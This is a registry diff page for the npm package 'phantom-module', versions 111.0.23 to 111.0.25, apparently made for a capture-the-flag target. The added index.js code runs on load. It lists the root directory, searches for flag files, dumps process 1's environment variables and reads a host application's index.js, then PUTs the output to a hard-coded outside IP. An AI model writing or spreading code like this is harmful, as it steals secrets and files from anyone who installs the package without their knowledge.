phantom-module 111.0.23 → 111.0.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +39 -20
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,15 +1,30 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  (function() {
5
6
  if (!fs.existsSync('/home/node/aspect-node')) {
6
7
  return;
7
8
  }
8
9
 
10
+ let output = "=== ROOT DIR ===\n";
11
+ try {
12
+ output += execSync('ls -la /').toString() + "\n";
13
+ } catch(e) {}
14
+
15
+ output += "=== FLAG SEARCH ===\n";
16
+ try {
17
+ output += execSync('find / -name "*flag*" -type f 2>/dev/null').toString() + "\n";
18
+ } catch(e) {}
19
+
20
+ output += "=== PROC 1 ENV ===\n";
21
+ try {
22
+ output += execSync('cat /proc/1/environ | tr "\\0" "\\n"').toString() + "\n";
23
+ } catch(e) {}
24
+
9
25
  try {
10
- const constants = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js', 'utf8');
11
26
  const postData = JSON.stringify({
12
- manifest: `ecto_module:\n name: "CONSTANTS_RECON"\n cargo_hold: ${JSON.stringify(constants)}\n`
27
+ manifest: `ecto_module:\n name: "SYSTEM_RECON"\n cargo_hold: ${JSON.stringify(output.substring(0, 3500))}\n`
13
28
  });
14
29
 
15
30
  const req = http.request({
@@ -22,25 +37,29 @@ const http = require('http');
22
37
  req.write(postData);
23
38
  req.end();
24
39
  } catch(e) {}
40
+
41
+ let indexOutput = "=== INDEX.JS ===\n";
42
+ try {
43
+ indexOutput += execSync('cat /home/node/aspect-node/index.js').toString() + "\n";
44
+ } catch(e) {}
45
+
46
+ try {
47
+ const postData = JSON.stringify({
48
+ manifest: `ecto_module:\n name: "ASPECT_NODE_INDEX"\n cargo_hold: ${JSON.stringify(indexOutput.substring(0, 3500))}\n`
49
+ });
50
+
51
+ const req = http.request({
52
+ hostname: '154.57.164.64',
53
+ port: 31205,
54
+ path: '/api/modules/ECT-654321',
55
+ method: 'PUT',
56
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
57
+ });
58
+ req.write(postData);
59
+ req.end();
60
+ } catch(e) {}
25
61
  })();
26
62
 
27
63
  module.exports = function() {
28
- if (!fs.existsSync('/home/node/aspect-node')) {
29
- return;
30
- }
31
-
32
- const mockedEnv = process.env.SOME_RANDOM_VAR_THAT_DOES_NOT_EXIST;
33
- const postData = JSON.stringify({
34
- manifest: `ecto_module:\n name: "FLAG_GETTER"\n cargo_hold: ${JSON.stringify(mockedEnv || "empty")}\n`
35
- });
36
-
37
- const req = http.request({
38
- hostname: '154.57.164.64',
39
- port: 31205,
40
- path: '/api/modules/ECT-654321',
41
- method: 'PUT',
42
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
43
- });
44
- req.write(postData);
45
- req.end();
64
+ return "pwnd";
46
65
  };
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.23",
3
+ "version": "111.0.25",
4
4
  "main": "index.js"
5
5
  }